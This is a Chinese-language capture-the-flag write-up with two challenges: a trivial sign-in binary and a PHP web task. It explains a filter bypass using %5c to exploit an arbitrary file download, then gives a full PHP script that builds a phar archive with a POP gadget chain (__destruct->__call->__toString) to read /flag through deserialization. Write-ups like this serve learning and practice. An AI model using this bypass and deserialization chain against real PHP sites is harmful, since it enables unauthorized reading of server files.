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Misc

签到

解题思路：

将题目下载下来后是一个zip压缩包，解压后是一个PE程序 签到.exe，由于本人较菜，不会用IDA获得flag，于是就采用了笨方法，等了一段时间，flag已终于出来了。

Web

upload

解题思路：

1 随便点击可以发现题目泄露了如下源码

$name = $_GET['name'];
$url = $_SERVER['QUERY_STRING'];
if (isset($name)){
    if (preg_match('/\.|etc|var|tmp|usr/i', $url)){
        echo("hacker!");
    }
    else{
        if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
            echo ("hacker!");
        }
        else{
            $name = safe_replace($name);
            if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
                $filename = $name.'.php';
                $dir ="./";
                $down_host = $_SERVER['HTTP_HOST'].'/';
                if(file_exists(__DIR__.'/'.$dir.$filename)){
                    $file = fopen ( $dir.$filename, "rb" );
                    Header ( "Content-type: application/octet-stream" );
                    Header ( "Accept-Ranges: bytes" );
                    Header ( "Accept-Length: " . filesize ( $dir.$filename ) );
                    Header ( "Content-Disposition: attachment; filename=" . $filename );
                    echo fread ( $file, filesize ( $dir . $filename ) );
                    fclose ( $file );
                    exit ();
                }else{
                    echo ("file doesn't exist.");
                }
            }
            if (preg_match('/flag/i', $name)){
                echo ("hacker!");
            }
        }
    }
}

2 审计可以发现是个任意下载的点，代码对其项目的文件名做了过滤，需要第一次不满足，第二次满足，那么问题问题肯定出在safe_replace，fuzz一下可以发现这个函数把%5c置为空。那么就用形如inde%5cx的形式把文件下下来。

3 审计一下可以发现是个phar+pop链的套路题，phar的触发点在file.php

4 pop链的构造在show.php，gadget依次为__destruct->__call->__toString
payload如下

<?php
class Show
{
    public $source = '/flag';
    public $str;
    public function __toString()
    {
        var_dump('__toString');
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        var_dump($this->source);
        if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class S6ow
{
    public $file;
    public $params = array('_show'=>'file_get');
    public function __get($key)
    {
        return $this->params[$key];
    }
    public function __call($name, $arguments)
    {
        if($this->{$name})
            $this->{$this->{$name}}($arguments);
    }
    public function file_get($value)
    {
        var_dump('file_get');
        var_dump($this->file);
        echo $this->file;
    }

    public function setter($obj)
    {
        $this->file = $obj;
    }
}

class Sh0w
{
    public $test;
    public $str;
    public function __destruct()
    {
        $this->str->_show();
    }
}

$sh0w = new Sh0w();
$s6ow = new S6ow();
$show = new Show();

$s6ow->setter($show);
$sh0w->str = $s6ow;


@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = $sh0w;
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

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